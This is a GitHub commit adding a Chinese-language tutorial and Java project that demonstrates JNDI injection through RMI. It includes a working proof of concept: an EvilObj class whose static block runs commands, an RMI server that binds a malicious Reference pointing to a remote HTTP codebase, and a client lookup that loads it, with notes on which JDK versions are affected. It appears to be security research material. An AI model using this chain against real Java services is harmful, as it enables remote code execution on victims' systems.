Skip to content

Commit e89f420

Browse files
committed
jndi 注入
1 parent ccc338f commit e89f420

File tree

13 files changed

+404
-0
lines changed

13 files changed

+404
-0
lines changed

RMI JRMP JNDI/README.md

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
## JNDI注入
2+
3+
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
4+
5+
![image-20210427154417233](https://gitee.com/samny/images/raw/master/17u44er17ec/17u44er17ec.png)
6+
7+
##### jndi注入的利用条件
8+
9+
- 客户端的lookup()方法的参数可控
10+
- 服务端在使用Reference时,classFactoryLocation参数可控~
11+
12+
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击响亮对jdk的版本要求也不一致,这里就全部列出来:
13+
14+
15+
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
16+
17+
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
18+
19+
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
20+
21+
22+
##### jndi注入 demo
23+
24+
- 创建一个恶意对象
25+
26+
```
27+
import javax.lang.model.element.Name;
28+
import javax.naming.Context;
29+
import java.io.BufferedInputStream;
30+
import java.io.BufferedReader;
31+
import java.io.IOException;
32+
import java.io.InputStreamReader;
33+
import java.util.HashMap;
34+
35+
public class EvilObj {
36+
public static void exec(String cmd) throws IOException {
37+
String sb = "";
38+
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
39+
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
40+
String lineStr;
41+
while((lineStr = inBr.readLine()) != null){
42+
sb += lineStr+"\n";
43+
44+
}
45+
inBr.close();
46+
inBr.close();
47+
}
48+
49+
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
50+
return null;
51+
}
52+
53+
static {
54+
try{
55+
exec("gnome-calculator");
56+
}catch (Exception e){
57+
e.printStackTrace();
58+
}
59+
}
60+
}
61+
```
62+
63+
64+
65+
可以看到这里利用的是static代码块执行命令
66+
67+
- 创建rmi服务端,绑定恶意的Reference到rmi注册表
68+
69+
```java
70+
import com.sun.jndi.rmi.registry.ReferenceWrapper;
71+
72+
import javax.naming.NamingException;
73+
import javax.naming.Reference;
74+
import java.rmi.AlreadyBoundException;
75+
import java.rmi.RemoteException;
76+
import java.rmi.registry.LocateRegistry;
77+
import java.rmi.registry.Registry;
78+
79+
public class Server {
80+
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
81+
Registry registry = LocateRegistry.createRegistry(1099);
82+
String url = "http://127.0.0.1:6666/";
83+
System.out.println("Create RMI registry on port 1099");
84+
Reference reference = new Reference("EvilObj", "EvilObj", url);
85+
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
86+
registry.bind("evil", referenceWrapper);
87+
}
88+
89+
}
90+
```
91+
92+
- 创建一个客户端(受害者)
93+
94+
```java
95+
import javax.naming.Context;
96+
import javax.naming.InitialContext;
97+
import javax.naming.NamingException;
98+
99+
public class Client {
100+
public static void main(String[] args) throws NamingException {
101+
Context context = new InitialContext();
102+
context.lookup("rmi://localhost:1099/evil");
103+
}
104+
}
105+
```
106+
107+
可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。
108+
109+
110+
然后先编译该项目,生成class文件,然后在class文件目录下用python启动一个简单的HTTP Server:
111+
112+
`python -m SimpleHTTPServer 6666`
113+
114+
执行上述命令就会在6666端口、当前目录下运行一个HTTP Server:
115+
116+
![image-20210427154732163](https://gitee.com/samny/images/raw/master/32u47er32ec/32u47er32ec.png)
117+
118+
然后运行Server端,启动rmi registry服务
119+
120+
![](https://gitee.com/samny/images/raw/master/47u47er47ec/47u47er47ec.png)
121+
122+
123+
124+
成功弹出计算器。注意,我这里用到的jdk版本为jdk7
125+
126+
![image-20210427154801968](https://gitee.com/samny/images/raw/master/2u48er2ec/2u48er2ec.png)
127+

RMI JRMP JNDI/RMI JRMP JNDI.iml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module type="JAVA_MODULE" version="4" />

RMI JRMP JNDI/pom.xml

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>org.example</groupId>
8+
<artifactId>RMI JRMP JNDI</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
<build>
11+
<plugins>
12+
<plugin>
13+
<groupId>org.apache.maven.plugins</groupId>
14+
<artifactId>maven-compiler-plugin</artifactId>
15+
<configuration>
16+
<source>7</source>
17+
<target>7</target>
18+
</configuration>
19+
</plugin>
20+
</plugins>
21+
</build>
22+
23+
24+
</project>
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package summersec.jndi;
2+
3+
4+
import javax.naming.Context;
5+
import javax.naming.InitialContext;
6+
import javax.naming.NamingException;
7+
/**
8+
* @ClassName: Client
9+
* @Description: TODO
10+
* @Author: Summer
11+
* @Date: 2021/4/27 15:24
12+
* @Version: v1.0.0
13+
* @Description:
14+
**/
15+
public class Client {
16+
17+
public static void main(String[] args) throws NamingException {
18+
Context context = new InitialContext();
19+
context.lookup("rmi://127.0.0.1:1099/evil");
20+
}
21+
}
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
//package summersec.jndi;
2+
3+
import javax.naming.Context;
4+
import javax.lang.model.element.Name;
5+
import java.io.BufferedInputStream;
6+
import java.io.BufferedReader;
7+
import java.io.IOException;
8+
import java.io.InputStreamReader;
9+
import java.util.HashMap;
10+
11+
/**
12+
* @ClassName: EvilObj
13+
* @Description: TODO
14+
* @Author: Summer
15+
* @Date: 2021/4/27 15:18
16+
* @Version: v1.0.0
17+
* @Description:
18+
**/
19+
public class EvilObj {
20+
public static void exec(String cmd) throws IOException {
21+
String sb = "";
22+
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
23+
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
24+
String lineStr;
25+
while((lineStr = inBr.readLine()) != null){
26+
sb += lineStr+"\n";
27+
28+
}
29+
inBr.close();
30+
inBr.close();
31+
}
32+
33+
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
34+
return null;
35+
}
36+
37+
static {
38+
try{
39+
exec("calc");
40+
}catch (Exception e){
41+
e.printStackTrace();
42+
}
43+
}
44+
45+
// public static void main(String[] args) throws IOException {
46+
// exec("calc");
47+
// }
48+
}
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package summersec.jndi;
2+
3+
import com.sun.jndi.rmi.registry.ReferenceWrapper;
4+
5+
import javax.naming.NamingException;
6+
import javax.naming.Reference;
7+
import java.rmi.AlreadyBoundException;
8+
import java.rmi.RemoteException;
9+
import java.rmi.registry.LocateRegistry;
10+
import java.rmi.registry.Registry;
11+
12+
/**
13+
* @ClassName: Server
14+
* @Description: TODO
15+
* @Author: Summer
16+
* @Date: 2021/4/27 15:23
17+
* @Version: v1.0.0
18+
* @Description:
19+
**/
20+
public class Server {
21+
22+
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
23+
Registry registry = LocateRegistry.createRegistry(1099);
24+
String url = "http://127.0.0.1:6666/";
25+
System.out.println("Create RMI registry on port 1099");
26+
Reference reference = new Reference("EvilObj", "EvilObj", url);
27+
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
28+
registry.bind("evil", referenceWrapper);
29+
}
30+
31+
}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package summersec.rmi;
2+
3+
import java.rmi.AlreadyBoundException;
4+
import java.rmi.RemoteException;
5+
import java.rmi.registry.LocateRegistry;
6+
import java.rmi.registry.Registry;
7+
8+
/**
9+
* @ClassName: App
10+
* @Description: TODO
11+
* @Author: Summer
12+
* @Date: 2021/4/25 16:19
13+
* @Version: v1.0.0
14+
* @Description:
15+
**/
16+
public class AppA {
17+
public static void main(String[] args) {
18+
19+
try {
20+
Registry registry = LocateRegistry.createRegistry(1099 );
21+
registry.bind("hello", new HelloServiceImpl());
22+
} catch (RemoteException e) {
23+
e.printStackTrace();
24+
} catch (AlreadyBoundException e) {
25+
e.printStackTrace();
26+
}
27+
}
28+
}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package summersec.rmi;
2+
3+
import java.rmi.NotBoundException;
4+
import java.rmi.RemoteException;
5+
import java.rmi.registry.LocateRegistry;
6+
import java.rmi.registry.Registry;
7+
8+
/**
9+
* @ClassName: AppB
10+
* @Description: TODO
11+
* @Author: Summer
12+
* @Date: 2021/4/25 16:50
13+
* @Version: v1.0.0
14+
* @Description:
15+
**/
16+
public class AppB {
17+
public static void main(String[] args) {
18+
try {
19+
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
20+
HelloService helloService = (HelloService) registry.lookup("hello");
21+
System.out.println(helloService.sayHello());
22+
} catch (RemoteException e) {
23+
e.printStackTrace();
24+
} catch (NotBoundException e) {
25+
e.printStackTrace();
26+
}
27+
}
28+
}
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package summersec.rmi;
2+
3+
import com.sun.jndi.rmi.registry.ReferenceWrapper;
4+
5+
import javax.naming.NamingException;
6+
import javax.naming.Reference;
7+
import java.rmi.AlreadyBoundException;
8+
import java.rmi.RemoteException;
9+
import java.rmi.registry.LocateRegistry;
10+
import java.rmi.registry.Registry;
11+
12+
/**
13+
* @ClassName: AppC
14+
* @Description: TODO
15+
* @Author: Summer
16+
* @Date: 2021/4/25 17:22
17+
* @Version: v1.0.0
18+
* @Description:
19+
**/
20+
public class AppC {
21+
public static void main(String[] args) {
22+
try {
23+
Registry registry = LocateRegistry.createRegistry(1099);
24+
25+
Reference reference = new Reference("calc","calc","http://127.0.0.1:80/");
26+
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
27+
registry.bind("hello",referenceWrapper);
28+
} catch (RemoteException e) {
29+
e.printStackTrace();
30+
} catch (NamingException e) {
31+
e.printStackTrace();
32+
} catch (AlreadyBoundException e) {
33+
e.printStackTrace();
34+
}
35+
}
36+
}
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package summersec.rmi;
2+
3+
import javax.naming.Context;
4+
import javax.naming.InitialContext;
5+
import javax.naming.NamingException;
6+
7+
/**
8+
* @ClassName: AppD
9+
* @Description: TODO
10+
* @Author: Summer
11+
* @Date: 2021/4/25 17:26
12+
* @Version: v1.0.0
13+
* @Description:
14+
**/
15+
public class AppD {
16+
public static void main(String[] args) {
17+
18+
try {
19+
Object context = new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
20+
} catch (NamingException e) {
21+
e.printStackTrace();
22+
}
23+
}
24+
}

0 commit comments

Comments
 (0)